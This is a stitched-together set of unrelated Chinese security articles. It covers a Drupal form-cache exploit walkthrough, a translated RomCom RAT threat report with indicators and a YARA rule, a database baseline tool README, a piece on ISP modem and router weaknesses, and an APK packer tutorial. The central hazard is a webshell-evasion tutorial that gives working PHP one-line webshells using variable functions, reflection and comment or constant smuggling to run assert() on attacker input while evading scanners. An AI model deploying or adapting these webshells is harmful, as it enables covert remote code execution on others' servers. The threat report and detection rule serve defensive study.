if (!empty($form_state['input']['_triggering_element_name']) && $element['#name'] == $form_state['input']['_triggering_element_name']) {
if (empty($form_state['input']['_triggering_element_value']) || $form_state['input']['_triggering_element_value'] == $element['#value']) {
return TRUE;
}
}
return FALSE;
}
这段代码的意思是，如果用户输入的 `_triggering_element_value` 和 `$element['#name']`
相等，那么就万事大吉了。那么，我将 POST 的 `_triggering_element_name` 设置成
name，在此处下一个断点，获取到的现场如下：
`$form_state['triggering_element']` 果然变成了 name 元素。继续单步：
发现此处三个条件都满足，执行了：
form_set_error(NULL, '', array());
继续跟进：
进入缓存设置函数。最终查看数据库：
#### 0x04 Inject # to Form
现在我们可以得到一个被缓存的 `$form`，但是，这个被缓存的 `$form` 并没有注入我们想要的数组，所以也就不能通过 `0x02`
所述的漏洞触发点进行触发。现在的问题是，如何将我们的 payload 注入到 `$form` 里。
单步跟入到 `user_pass` 函数：
function user_pass() {
global $user;
$form['name'] = array(
'#type' => 'textfield',
'#title' => t('Username or e-mail address'),
'#size' => 60,
'#maxlength' => max(USERNAME_MAX_LENGTH, EMAIL_MAX_LENGTH),
'#required' => TRUE,
'#default_value' => isset($_GET['name']) ? $_GET['name'] : '',
);
// Allow logged in users to request this also.
if ($user->uid > 0) {
$form['name']['#type'] = 'value';
$form['name']['#value'] = $user->mail;
$form['mail'] = array(
'#prefix' => '<p>',
// As of https://www.drupal.org/node/889772 the user no longer must log
// out (if they are still logged in when using the password reset link,
// they will be logged out automatically then), but this text is kept as
// is to avoid breaking translations as well as to encourage the user to
// log out manually at a time of their own choosing (when it will not
// interrupt anything else they may have been in the middle of doing).
'#markup' => t('Password reset instructions will be mailed to %email. You must log out to use the password reset link in the e-mail.', array('%email' => $user->mail)),
'#suffix' => '</p>',
);
}
$form['actions'] = array('#type' => 'actions');
$form['actions']['submit'] = array('#type' => 'submit', '#value' => t('E-mail new password'));
return $form;
}
可以发现，`$form['name']['#default_value']` 是直接从 `$_GET['name']` 获取的，而这个注入的 `$form`
又是直接储存在缓存内的，那么我们将 POST 的 name 转移到 GET 中，再观察数据库中缓存的数组：
我们成功的将 payload 注入到 `#default_value` 里，那么，再利用 `0x02` 中所说的漏洞触发点触发即可。
#### 0x05 The Exploit
最终 payload 分为两个请求。 请求 1，将 Payload 注入缓存中：
获取到 `form_build_id`，再进行请求 2，执行 payload：
* * * | 社区文章 |
**作者：黑莓研究和情报团队
译者：知道创宇404实验室翻译组
原文链接：<https://blogs.blackberry.com/en/2022/10/unattributed-romcom-threat-actor-spoofing-popular-apps-now-hits-ukrainian-militaries>**
## **总结**
曾经不为人知的RomCom RAT黑客现在瞄准乌克兰军事机构。已知同一黑客部署流行软件“[高级IP扫描仪](https://www.advanced-ip-scanner.com/)”的欺骗版本，在公开曝光后，它切换到了另一个流行应用程序，称为“[PDF
Filler](https://www.pdffiller.com/)”。这表明其背后的团队正在积极开发新功能。
## **背景**
最初的“高级IP扫描器”活动发生在 **2022年7月23日** 。一旦受害者安装了特洛伊木马捆绑包，就会将RomCom RAT丢弃到系统中。
**2022年10月10日** ，黑客通过混淆所有字符串、作为COM对象执行等方式改进了规避技术。
## **攻击向量**
早期版本的RomCom
RAT是通过欺骗合法的“高级IP扫描仪”应用程序网站的虚假网站分发的。特洛伊木马化的“高级IP扫描程序”软件包托管在“高级IP扫描程序[.]com”和“高级IP扫描仪[.]com”域上。这两个域在历史上都解析为相同的IP地址167[.]71[.]175[.]165。
黑客还确保这两个虚假网站看起来与原始网站几乎相同——“高级IP扫描程序.com”。
图1–假冒的“高级IP扫描仪”网站
图2–合法的“高级IP扫描仪”网站
**10月20日** ，这名黑客在“pdfFiller”网站上部署了一场新的恶意活动，删除了一个特洛伊木马版本，并将RomCom RAT作为最终有效载荷。
## **武器化**
最早版本的RomCom
RAT采用“高级IP扫描仪”软件包。黑莓研究和情报团队已经确定了两个版本——“Advanced_IP_Scanner_V2.5.4594.1.zip”和“advancedipscanner.msi”。黑客通过在文件名中添加单个字母“V”来欺骗名为“Advanced_IP_Scanner_2.5.4594.1.exe”的合法工具。
解压缩后，它包含27个文件，其中四个是恶意投放器。
图3–特洛伊木马“高级IP扫描器”的内容。着重介绍了RomCom RAT dropper。
Dropper RomCom从其资源中提取有效负载，并在以下文件夹中创建它：
С:\Users\Username\AppData\Local\Temp\winver.dll
RomCom的主要功能包括但不限于收集系统信息（磁盘和文件信息枚举），以及有关本地安装的应用程序和内存进程的信息。它还截屏并将收集的数据传输到硬编码的命令和控制（C2）。如果收到特殊命令，它支持从受害者的计算机上自动删除。
最新版本的RomCom RAT已捆绑在“ **PDFFiller.zip** ”包中。
## **与攻击乌克兰军事机构有关**
10月21日，RomCom
RAT背后的黑客瞄准了乌克兰的军事机构。最初的感染媒介是一封带有嵌入式链接的电子邮件，该链接导致一个虚假网站丢弃下一阶段的下载程序。诱饵是一份乌克兰语的假文件，名为“
**Наказ_309.pdf** ”（英语翻译为“Order_309.pdf”）。
图4–原始链接以乌克兰语为诱饵，引诱乌克兰国防部原始网站
这是一个 HTML 文件，其中包含下一阶段恶意可移植可执行 （PE） 文件的下载 URL。
图5–初始“Наказ_309.pdf”引诱的部分HTML代码
丢弃的恶意“AcroRdrDCx642200120169_uk_UA.exe”文件具有签名者“Blythe Consulting sp. z
o.o.”的有效数字签名。
图6–带有有效数字签名的恶意“AcroRdrDCx642200169_uk_UA.exe”
执行时，它将删除以下文件：“C:\Users\Public\Librarys\WinApp.dll”。删除的“WinApp.dll”文件包含一个导出文件“fwdTst”。通过调用“rundll32.exe”proce3ss，导出将运行。与之前一样，RomCom
RAT最终有效载荷从资源中提取并保存为“C:\Users\Public\Librarys\rtmpak.dll”。
合法的“pdfFiller”应用程序使用相同的签名者“Blythe Consulting sp. z o.o.”。如上所述，该应用程序在最新的活动中被
RomCom RAT黑客滥用。
RomCom
RAT投放器和最终的RAT都包括本地俄语和[俄语变体](https://en.wikipedia.org/wiki/Russian_dialects):
## **目标**
除了针对乌克兰军事机构的最新活动外，我们还发现RomCom黑客针对美国、巴西和菲律宾的IT公司、食品经纪人和食品制造。
图7–RomCom RAT黑客目标
## **结论**
RomCom RAT黑客正在积极开发针对全球受害者的新技术。很有可能会有新的黑客活动。在发布时，没有明显的联系到任何被归因的黑客。
我们正在发布以前和最近针对乌克兰的活动的参考IOC。
## **IoC**
Hashes (sha-256) | C2
---|---
3e3a7116eeadf99963077dc87680952cca87ff4fe60a552041a2def6b45cbeea |
CombinedResidency[.]
983833334d168cd4274467f48171489e019b86b51e687738565a93dd3f58d0aa |
orgoptasko[.]com
05681ff7cae6b28f5714628a269caa5115da49c94737ce82ec09b4312e40fd26 | 4qzm[.]com
59f0c3b7890f11217ad37764f225cd1c9d27747495d80dadde40b78edfbfa21e |
notfiled[.]com
e80d80521238008bf6f429e072eaf6030c06e2d3123d03ea9b36f5a232a1ec90 |
61e349518ca3f10d1e7aae0be95bc43dc23843c8acf177831cdfd48f26a07c72 |
a2511c5c2839bfbdf9c0f84f415d5eae168456e5d3f77f1becdbcd69fba4daa4 |
56a6fb2e2b6a801351175f2aa30a63d44e9ba69f177f6fe20dad348b4d6fb0d1 |
9f61259c966f34d89b70af92b430ae40dd5f1314ee6640d16e0b7b0f4f385738 |
c116a0aafdc2765e38b4f5efdf89960997abf0db81daa8f5380ce3c893e9af96 |
4fc9202ff84ef84b8c5e6140b66ac3d04570daf886a7f1ae31661ade882f963e |
494b43198db467f506e9857f39ebe8f8bf6d871776eba092a7e2f2140046e16d |
068117b406940ac510ed59efd1d7c7651f645a31bd70db6de16aba12c055aae6 |
80d78703de91d292c031275b4493966e363f5fa065edd79e0fd63aa2573b44a4 |
## **采取的应对措施**
import "pe"
import "math"
rule targeted_RomComRat : RomCom deployed via trojanized legitimate apps
{
meta:
description = "Rule detecting RomCom RAT used to attack Military Institutions from Ukraine"
author = " The BlackBerry Research & Intelligence team"
date = "2022-18-10"
license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to the BlackBerry Research & Intelligence Team"
hash = "9f61259c966f34d89b70af92b430ae40dd5f1314ee6640d16e0b7b0f4f385738"
strings:
//comDll.dll
$x0 = {636f6d446c6c2e646c6c}
//combase32.dll
$x1 = {63006f006d006200610073006500330032002e0064006c006c00}
condition:
uint16(0) == 0x5a4d and
pe.number_of_sections == 7 and
pe.sections[0].name == ".text" and
math.entropy(pe.sections[0].raw_data_offset, pe.sections[0].raw_data_size) >= 6.5 and
pe.sections[1].name == ".rdata" and
math.entropy(pe.sections[1].raw_data_offset, pe.sections[1].raw_data_size) >= 5.2 and
pe.sections[2].name == ".data" and
pe.sections[3].name == ".pdata" and
math.entropy(pe.sections[3].raw_data_offset, pe.sections[3].raw_data_size) >= 5.5 and
pe.sections[4].name == "_RDATA" and
math.entropy(pe.sections[4].raw_data_offset, pe.sections[4].raw_data_size) >= 2.4 and
pe.sections[5].name == ".rsrc" and
math.entropy(pe.sections[5].raw_data_offset, pe.sections[5].raw_data_size) >= 2.85 and
pe.sections[6].name == ".reloc" and
math.entropy(pe.sections[6].raw_data_offset, pe.sections[6].raw_data_size) >= 5.3 and
pe.number_of_resources == 2 and
pe.exports("startFile") and
pe.exports("startInet") and
all of ($x*)
}
* * * | 社区文章 |
## 介绍
主要是没找到一款比较好的数据库基线检查工具
索性自己写了一个 <https://github.com/wstart/DB_BaseLine>
## DB_BASE 使用说明
* 帮助信息 python db_baseline.py -h
## DB_BASELINE 检查规范
根据查阅的资料和文档，基线检查主要分为以下四类
* 账号权限
检查各个权限账号是否有过多的不必要的权限，检查数据库的文件的权限，是否只归属数据库账户所有，其他程序是否可读可写，
* 网络连接
主要用于检查数据库的端口，对外的开放的程度，连接的安全性等等
* 危险语句
主要检查数据库是否可以运行危险语句
* 配置文件
主要检查数据库的配置文件是否规范合理
## DB_BASELINE 编写规范
所有的检测脚本均在script目录里面。
db_baseline_basic是检测类的基类,引用基类，编写对应的数据库的检查基线即可
## DB_BASELINE 基础构造
* 连接函数 connect
* 用于检查是否满足运行条件 check
* 基线检查主函数 runtest
* 账号权限基线检查 run_power_test
* 网络连接基线检查 run_netword_test
* 危险语句基线检查 run_exec_test
* 配置文件基线检查 run_config_test
## DB_BASELINE 返回值
'Result':{
'DBInfo' : {'Host': 'xxx', 'Port': 'xxx'}, #数据库信息
'VerifyTime': '2018-03-23' ,#检查时间
'Score': 97,#检查得分
'Desc': '几乎没有严重的问题',#处理建议
'Defect':
[
{
'Desc':'默认端口没有修改',#描述
'Level':'低',# 危害等级
'Suggest':'修改默认端口',# 修复建议
}
]
} | 社区文章 |
## 0x00 开篇
现如今，会议室的智能电视、智能化的加热和空调系统、互联网连接的电灯、智能设备控制的生产过程、智能手表和健身器材几乎可以说是无处不在。``而这些还仅仅只是现在企业物联网(IoT)的非常小的一部分。在更大的部分，几乎所有的物理对象都能够被智能化的连接到网络。当然，企业在享受到物联网所带来的便捷的同时，也要警惕黑客攻击和数据泄露。
随着时代的变化，从前的网速已经不能满足我们的日常上网需求，所以光纤时代的到来，适应了时代的潮流。当我们利用光纤快速上网的同时，威胁也随之而来，近年来僵尸网络频繁出现，物联网安全从过去不被重视到重视，这期间经历了很多。一切联网目标都成为非法攻击者牟利的工具，虽然众多物联网厂商安全意识在提高，不过产品在安全方面效果不好。我们从近年来曝光的漏洞就可看出这一现象。
## 0x01 终端威胁事例
目前国内的路由器和光猫设备主要是国内的厂家提供，主要以下列厂家为主路由器光猫厂家华为中兴烽火贝尔TP-link水星TendaFAST
上面这些厂家近年来也是爆出了很多漏洞，其中有许多的大流量DDOS攻击也是利用入侵它们来攻击，所以就目前情况来看，安全现状很不乐观。
（1）宽带刷钻宽带刷钻还得追述到好多年前，当时风靡一时，在那个灰鸽子抓鸡的年代。那时的刷钻也是利用了某公司的业务，当黑客拿到宽带帐号就可以利用宽带帐号进行消费了，这也给用户造成了大量的经济损失。同时，从泄漏的宽带帐号可以查看用户个人信息，这也间接的导致了个人信息的泄漏。
（2）终端设备攻击事件在某地区，黑客利用光猫开放的终端登录端口进行登录操作，进行删除自身固件操作，导致某地区大量光猫设备变砖。
在前几年，某黑客组织利用路由器相关协议漏洞，发动DDoS反射式攻击。
（3）僵尸网络的组建
黑客利用路由器漏洞组建起僵尸网络，利用僵尸网络对目标发起DDOS攻击，或者通过路由设备进行信息监听，这完全给个人信息造成了严重威胁。由于终端设备的可维护性差，版本得不到有效的升级，这也导致黑客能够得手的原因之一。
（4）路由器漏洞随着某些事件的发酵和民众的安全意识提高，众多厂商也意识到了发展安全的重要性，纷纷对自家产品进行升级换代，不过由于终端设备的更换频率低，这也导致安全风险的持续威胁。在后门和漏洞频发的路由设备中，厂商想要做到自家设备的相对安全，还任重而道远。
## 0x02 安全分析实例
下面，我将发现的一些问题列出来。
目前还有大量的光猫路由设备暴露在公网设备上,不同的型号，对应着不同设备，下面是两个型号暴露在公网上的设备。
运营商为了减小自家设备被攻击的风险和容易管控，把设备放到了内网中，然而事实是，在内网中依然是不安全的，根本问题没有解决，放到哪里都是一样。
当处在内网环境中时，有可能危害比在公网上还大。
我们可以通过上网设备获取自身的内网IP地址，用普通帐号权限就可以获取。
随便扫描几十个C段，可以看到大量的设备是可以通过web端登录的,当然也存在telnet登录端口。
然而这些设备的安全是不能够得到保证的，其中厂商为了易于管理，往往会设置隐藏帐号，我们通过隐藏帐号可以得到设备的超级控制权。
当然，某些厂家还会内置后门，权限比超级账户还要高，前者控制光猫配置，后者控制光猫所有配置和硬件。
当然我们也可以利用设备自身漏洞进行攻击，甚至命令执行，任意上传,下载文件等，下面是通过任意上传挂上的黑页。
由于一些光猫设备没有开放telnet，但是可以通过光猫自身漏洞越权开启telnet设备。
光猫的滥用情况，用户为了能够脱离内网束缚，通过破解光猫，然后达到外网上网的效果，脱离运营商的监控。
事实上，在设备内网中，还不止这些，我们还能够找到其他的内部网络，通过这些内部网络，还可以扩大攻击面。
我们还可以找到一些企业级的上网外部设备。
当然还可以找到企业的监控设备。
在测试的国内运营商中，无一幸免。
## 0x03 总结
三家运营商使用的大多为国内光猫设备，又因为各个厂商的安全技术参差不齐，所以有些光猫的安全性差，直接导致一个漏洞通杀三家运营商。目前比较好情况的是，运营商开始重视这些问题了，不过光猫设备的滥用情况还是不容乐观，用户有自己的需求，需要摆脱内网，于是通过网上的一些光猫破解教程，对光猫进行破解，或者购买第三方厂家光猫进行更换，学习成本很低，带来的风险却很高。 | 社区文章 |
# 前言
`webshell`对于渗透测试者来说是既是一种结束也是一种开始；一个免杀的`webshell`是我们在渗透测试过程中能否拿到目标权限的一个“前提”，首先webshell需要存活，其次是否能够执行命令，最后我们使用webshell管理工具时流量是否被拦截。所以免杀至关重要。
# 我的第一个一句话木马
很奇怪，我学习安全接触的的第一个一句话木马就是它：`$_GET[1]($_POST[2]);`，并且令我印象深刻。当时不太理解这个是因为PHP太灵活了，没想到还有这种写法：
$a = 'assert';
$a();
这个木马和上面的例子一样，是一种可变函数，`$_GET[1]`写为字符串`assert`，`$_POST[2]`写为命令`phpinfo()`。
* 值得一提的是assert和eval：
手册写到eval()不是一个函数而是一个语言构造器，所以不能被可变函数调用；eval() 把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP
代码， **且必须以分号结尾** 。
而assert()是一个函数，所以它相比eval灵活许多，可以被可变函数调用，也可以被回调函数来调用。
## 思考
我们通过webshell执行命令，是通过我们可控的参数来达到目的，而上面的一句话木马我们可控的部分为POST和GET参数。只要稍作改变就可以绕过D盾的检测
<?php
foreach (array('_GET') as $_request) {
foreach ($$_request as $_key=>$_value) {
$$_key = $_value;
$_key($_value);
}
}
* 可以看到这里并没有达到免杀效果
* 接下来我又写了一个正常的类与函数，再次扫描发现D盾已经检测不出来了
* * *
从可变函数的例子我们可以受到一些启发，通过翻阅PHP手册中的 **反射** 部分，我们可以得到一些可以利用的函数
# 少见的函数
## 获取注释
PHP中有这样一个函数，它可以获取php注释的内容
`public ReflectionClass::getDocComment( void) : string`
某些查杀引擎在查杀的时候，会做类似于编译器的优化，去掉我们所写的注释。毕竟注释是不能运行的，如果我们将参数通过非常规的方式传输进来，这样或许可以绕过一些查杀引擎呢。我们知道，安全狗查形，D盾查参，就拿D盾来试一试。
<?php
/**
* YXNzZXJ0YWE=
*/
class Example
{
public function fn()
{
}
}
$reflector = new ReflectionClass('Example');
$zhushi = substr(($reflector->getDocComment()), 7, 12);
$zhushi = base64_decode($zhushi);
$zhushi = substr($zhushi, 0, 6);
//
foreach (array('_POST','_GET') as $_request) {
foreach ($$_request as $_key=>$_value) {
$$_key= $_value;
print_r($$_request);
}
}
$zhushi($_value);
## 获取定义过的一个常量
`public ReflectionClass::getConstants(void) : array`
获取某个类的全部已定义的常量，不管可见性如何定义。
class Test
{
const a = 'As';
const b = 'se';
const c = 'rt';
public function __construct()
{
}
}
$para1;
$para2;
$reflector = new ReflectionClass('Test');
for ($i=97; $i <= 99; $i++) {
$para1 = $reflector->getConstant(chr($i));
$para2.=$para1;
}
foreach (array('_POST','_GET') as $_request) {
foreach ($$_request as $_key=>$_value) {
$$_key= $_value;
}
}
$para2($_value);
## 获取一组常量
`public ReflectionClass::getConstants(void) : array`
获取某个类的全部已定义的常量，不管可见性如何定义。
<?php
class Test
{
const a = array(1=>'aS',2=>'se',3=>'rT');
public function __construct()
{
}
}
$refl = new ReflectionClass('Test');
foreach ($refl->getConstants() as $key => $value) {
foreach ($value as $key => $value1) {
$value2.=$value1;
}
}
foreach (array('_POST','_GET') as $_request) {
foreach ($$_request as $_key=>$_value) {
$$_key= $_value;
}
}
$value2($_value);
## 类与继承
P牛的《PHP动态特性的捕捉与逃逸》中提到了一个点，
除了PPT里提到的trick，还能想到什么呢？
* 面向对象中，类能够继承类的属性与方法。或许可以从这两个点入手，因为测试绕过了"牧云"，就暂时不放出来结果了。
至于为什么可以绕过：我的猜想是这个函数不在黑名单中，语法分析不够完善，引擎认为我们的vuln代码并不能执行。
## 创建类的实例
`public ReflectionClass::newInstance( mixed $args[, mixed $...] ) : object`
简单地说，这个方法可以创建一个类的实例，同时该函数传递的参数会传递到该类的构造函数
需要注意的是，该方法传参和`call_user_func()`相似，不能使用引用类型传参，如果要使用引用类型使用另一个方法`newInstanceArgs`
class Test1
{
public function __construct($para)
{
//assert
}
}
$class1 = new ReflectionClass("Test1");
$para = '';
//可控的$para
$class2 = $class1->newInstance($para);
基本的框架就是这样了，对框架进行变形也可绕过"牧云"。 | 社区文章 |
# Apk加固原理学习与复现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
针对当下反编译技术的逐步发展，加固技术也在与之对抗中发展，本文旨在对最简单的加固方式和加固的原理做一个介绍，并且对代码做一个复现。
## 加固原理图解：
如上图，对于得到的源apk，由于其中的保留信息较为完善，所以会很容易被反编译，利用GDA、JEB配合IDA等工具，可以轻松的得到程序里面的重要信息，为了保护这些信息，我们一般会对其进行加固，简而言之就是在程序外面再套一个壳子来将源程序保护起来，就像鸡蛋壳保护着鸡蛋、乌龟壳保护着乌龟一样。当然这其中也有着鸡蛋壳容易打碎，乌龟壳不易打碎的说法，在这里只做加固的原理的学习，至于加固之后的保护性强不强、容不容易被破坏，本文暂不做研究。
在上图中，简易的描述了加固的原理，首先我们会拿到一个需要加固的源apk文件，然后需要加固这个源apk，我们就会写一个对应的壳程序，然后我们需要将两个apk合并，为了让程序能够正常运行，我们就需要将源apk文件和壳程序的dex文件进行合并，然后用合并之后的dex文件将可程序的dex文件替换掉，这样我们的壳程序就会照成运行。
既然需要这样做，就会有些问题出现：
如何将源apk和壳程序的dex文件合并？
源apk外面套着壳程序的dex文件，那么怎么让这个app运行之后执行源apk里面的代码，而不是只执行壳程序的代码——即不能改变源apk的执行逻辑？
针对上述问题，我们先做一个前置知识的学习。
## 前置知识
### Dex文件
#### 什么是Dex文件
我们都知道apk的本质是一个压缩包，当我们直接将.apk的后缀改为.zip的时候，是可以直接解压出里面的文件的(甚至有些压缩软件可以直接解压.apk文件，例如bindizip)。那么app为什么能在手机中运行呢，靠的就是.dex文件，在Windows端的可执行文件是.exe文件，JVM的可执行文件是.class文件，那么在Android中的dalvik或art虚拟机上运行的可执行文件就是.dex文件。
Dex文件结构
首先是Dex文件结构的源代码：<http://androidxref.com/9.0.0_r3/xref/dalvik/libdex/DexFile.h>
首先来看一下看雪神图，出自非虫，在图中对Dex结构做了十分详细的定义。
接下来我们借助010Editor对随意一个Dex文件做一个解析。
根据上面两个图我们发现，dex大致可以分为以下几个part：
header : DEX 文件头，记录了一些当前文件的信息以及其他数据结构在文件中的偏移量
string_ids : 字符串的偏移量
type_ids : 类型信息的偏移量
proto_ids : 方法声明的偏移量
field_ids : 字段信息的偏移量
method_ids : 方法信息（所在类，方法声明以及方法名）的偏移量
class_def : 类信息的偏移量
data : ： 数据区
link_data : 静态链接数据区
由于本文主题是apk加固，所以详细的Dex信息查看另一篇文章：<https://www.yuque.com/u2172011/abm9ei/gx5btd>
我们这里详细看一下dex
header部分的值(图中uint表示无符号的int，即无符号4个字节的意思)，下图是010Editor中的效果，附上后一张图对每个字段做了解释：
在上图中，我把三个字段标出来了：
checksum ：文件校验码 ，运用Adler32算法计算出来的一个值，用来校验文件是否被损坏 。
signature ：使用 SHA-1 算法 hash 除去 magic ,checksum 和 signature 外余下的所有文件区域
，用于唯一识别本文件 。
file_size：Dex 文件的大小 。
为什么标出这三个字段呢，因为当我们的源apk和壳程序的dex合并生成新的dex之后，这三个值肯定会发生改变，因为他们都是检验文件是否被改变的值，而在程序安装的时候会检验这些值是否正确，为了让程序正常运行，我们在将壳dex和源apk合并成dex之后，也要将新的dex的这三个值修改为正确的值。所有我们的新的dex结构就如下图这样(最后要加上源程序的apk的大小，当程序运行起来的时候壳程序会把源程序重新分离出来让他自己运行，这样才能确保程序的运行逻辑不被改变，分离源apk的时候就需要知道apk的大小才能完成分离)：
### 动态加载机制
为了避免篇幅过长，对于动态加载机制的详细过程，可以参考我的另一篇文章：<https://www.yuque.com/u2172011/abm9ei/fhf6fv>
## Apk加固原理
关于上述的两个问题，第一个：如何将源apk和壳程序的dex文件合并？
我们已经找到答案了，即为Dex文件结构中最后一张图所示，需要改变checksum、signature、file_size值，并且需要在合并完最后加上加密的源程序的Apk大小。
那么对于第二个问题：如何做到不改变源程序的逻辑？
这就涉及到另一个技术：免安装运行程序
因为我们知道我们的apk在运行之前是需要安装在手机上的，那么如果我们的源apk外面套上一个壳程序，安装的时候加载的就是壳程序的内容，那Android如何识别到源apk里面程序呢，这就涉及到一个apk没有安装是怎么运行的。
要安装并运行apk，实际上就是加载里面的类并且运行类当中的方法的过程，既然如此，那就又回到了类加载的问题，我们安装的是壳程序的apk，那么加载的时候肯定是加载壳程序类，然后在壳程序当中我们做了把源apk分离出来的操作，但是分离出来的apk并不会重新被加载，因为加载的过程在壳程序安装运行的时候已经运行过了，所以不会运行第二次，那我们就需要自己去加载源apk中的类，我们知道PathClassLoader是一个应用的默认加载器(而且它只能加载data/app/xxx.apk的文件)，但是我们自己去加载类的时候一般使用DexClassLoader加载器，所以开始的时候，每个人都会很容易想到使用DexClassLoader来加载Activity获取到class对象，再使用Intent启动。但是实际上并不是想象的这么简单。因为Android中的四大组件都有一个特点就是他们有自己的启动流程和生命周期，我们使用DexClassLoader加载进来的Activity是不会涉及到任何启动流程和生命周期的概念，说白了，他就是一个普普通通的类。所以启动肯定会出错。
所以我们这里就需要使用其他方式，只要让加载进来的Activity有启动流程和生命周期就行了，所以这里需要看一下一个Activity的启动过程，当然由于篇幅问题，这里不会详细介绍一个Activity启动过程的。可以将使用的DexClassLoader加载器绑定到系统加载Activity的类加载器上，这个是最重要的突破点。下面我们就来通过源码看看如何找到加载Activity的类加载器。
ActivityThread.java
// set of instantiated backup agents, keyed by package name
final ArrayMap<String, BackupAgent> mBackupAgents = new ArrayMap<String, BackupAgent>();
/** Reference to singleton {@link ActivityThread} */
private static volatile ActivityThread sCurrentActivityThread;
Instrumentation mInstrumentation;
String mInstrumentationPackageName = null;
String mInstrumentationAppDir = null;
String[] mInstrumentationSplitAppDirs = null;
String mInstrumentationLibDir = null;
String mInstrumentedAppDir = null;
String[] mInstrumentedSplitAppDirs = null;
String mInstrumentedLibDir = null;
boolean mSystemThread = false;
boolean mJitEnabled = false;
boolean mSomeActivitiesChanged = false;
// These can be accessed by multiple threads; mPackages is the lock.
// XXX For now we keep around information about all packages we have
// seen, not removing entries from this map.
// NOTE: The activity and window managers need to call in to
// ActivityThread to do things like update resource configurations,
// which means this lock gets held while the activity and window managers
// holds their own lock. Thus you MUST NEVER call back into the activity manager
// or window manager or anything that depends on them while holding this lock.
// These LoadedApk are only valid for the userId that we're running as.
final ArrayMap<String, WeakReference<LoadedApk>> mPackages
= new ArrayMap<String, WeakReference<LoadedApk>>();
final ArrayMap<String, WeakReference<LoadedApk>> mResourcePackages
= new ArrayMap<String, WeakReference<LoadedApk>>();
final ArrayList<ActivityClientRecord> mRelaunchingActivities
= new ArrayList<ActivityClientRecord>();
Configuration mPendingConfiguration = null;
我们看到ActivityThread类中有一个自己的static对象，然后还有一个ArrayMap存放Apk包名和LoadedApk映射关系的数据结构。LoadedApk.java是加载Activity的时候一个很重要的类，这个类是负责加载一个Apk程序的，我们可以看一下它的源码：
LoadedApk.java
static final String TAG = "LoadedApk";
static final boolean DEBUG = false;
@UnsupportedAppUsage
private final ActivityThread mActivityThread;
@UnsupportedAppUsage
final String mPackageName;
@UnsupportedAppUsage
private ApplicationInfo mApplicationInfo;
@UnsupportedAppUsage
private String mAppDir;
@UnsupportedAppUsage
private String mResDir;
private String[] mOverlayDirs;
@UnsupportedAppUsage
private String mDataDir;
@UnsupportedAppUsage(maxTargetSdk = Build.VERSION_CODES.R, trackingBug = 170729553)
private String mLibDir;
@UnsupportedAppUsage(maxTargetSdk = Build.VERSION_CODES.P, trackingBug = 115609023)
private File mDataDirFile;
private File mDeviceProtectedDataDirFile;
private File mCredentialProtectedDataDirFile;
@UnsupportedAppUsage
private final ClassLoader mBaseClassLoader;
private ClassLoader mDefaultClassLoader;
private final boolean mSecurityViolation;
private final boolean mIncludeCode;
private final boolean mRegisterPackage;
@UnsupportedAppUsage
private final DisplayAdjustments mDisplayAdjustments = new DisplayAdjustments();
/** WARNING: This may change. Don't hold external references to it. */
@UnsupportedAppUsage
Resources mResources;
@UnsupportedAppUsage
private ClassLoader mClassLoader;
@UnsupportedAppUsage
private Application mApplication;
private String[] mSplitNames;
private String[] mSplitAppDirs;
@UnsupportedAppUsage
private String[] mSplitResDirs;
private String[] mSplitClassLoaderNames;
@UnsupportedAppUsage
private final ArrayMap<Context, ArrayMap<BroadcastReceiver, ReceiverDispatcher>> mReceivers
= new ArrayMap<>();
private final ArrayMap<Context, ArrayMap<BroadcastReceiver, LoadedApk.ReceiverDispatcher>> mUnregisteredReceivers
= new ArrayMap<>();
@UnsupportedAppUsage(maxTargetSdk = Build.VERSION_CODES.P, trackingBug = 115609023)
private final ArrayMap<Context, ArrayMap<ServiceConnection, LoadedApk.ServiceDispatcher>> mServices
= new ArrayMap<>();
private final ArrayMap<Context, ArrayMap<ServiceConnection, LoadedApk.ServiceDispatcher>> mUnboundServices
= new ArrayMap<>();
private AppComponentFactory mAppComponentFactory;
Application getApplication() {
return mApplication;
}
我们可以看到它内部有一个mClassLoader变量，就是负责加载一个Apk程序的，所以只要通过反射获取到这个类加载器就可以加载我们壳程序解密出来的源apk了。
## 代码复现
### 源apk
MainActivity.java：
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
/*TextView textView = findViewById(R.id.text);
textView.setText(this.toString());
textView.setTextSize(22);
textView.setGravity(Gravity.CENTER);*/
Log.i("Source", String.valueOf(getClass()));
Log.i("Source", "Source app: MainActivity is onCreate" + this);
}
}
MyApplication.java：
public class MyApplication extends Application {
@Override
public void onCreate() {
super.onCreate();
Log.i("Source", "Source app:MyApplication is onCreate" + this);
}
}
创建了一个application，在后面我们会用到他。
### 合并程序
该程序的作用将源apk和壳程序的dex文件合并成一个新的dex。所以也就是一个java项目，源代码如下：
import java.io.*;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.zip.Adler32;
public class ShellTool {
public static void main(String[] args) {
try {
// 需要加壳的源APK ，以二进制形式读出，并进行加密处理
File srcApkFile = new File("files/SourceAPP.apk");
System.out.println("apk size:" + srcApkFile.length());
// 将源apk以二进制的形式进行读取到一个byte[]中，并且用encrpt()加密函数对其进行加密，然后保存在一个byte[]中
byte[] enSrcApkArray = encrpt(readFileBytes(srcApkFile));
// 需要解壳的dex，痛殴贵阳以二进制形式读出dex
File unShellDexFile = new File("files/Pack.dex");
byte[] unShellDexArray = readFileBytes(unShellDexFile);
// 将源APK长度和壳程序的DEX长度相加并加上存放源APK大小的四位得到新dex的总长度，最后四位存放着源apk的长度
int enSrcApkLen = enSrcApkArray.length;
int unShellDexLen = unShellDexArray.length;
int totalLen = enSrcApkLen + unShellDexLen + 4;
// 依次将解壳DEX，加密后的源APK，加密后的源APK大小，拼接出新的Dex，注意顺序不能反
byte[] newdex = new byte[totalLen];
System.arraycopy(unShellDexArray, 0, newdex, 0, unShellDexLen);
System.arraycopy(enSrcApkArray, 0, newdex, unShellDexLen, enSrcApkLen);
System.arraycopy(intToByte(enSrcApkLen), 0, newdex, totalLen - 4, 4);
// 修改DEX file_size文件头
fixFileSizeHeader(newdex);
// 修改DEX SHA1 文件头
fixSHA1Header(newdex);
// 修改DEX CheckSum文件头
fixCheckSumHeader(newdex);
// 写入新Dex
// 新建一个File
String str = "files/classes.dex";
File file = new File(str);
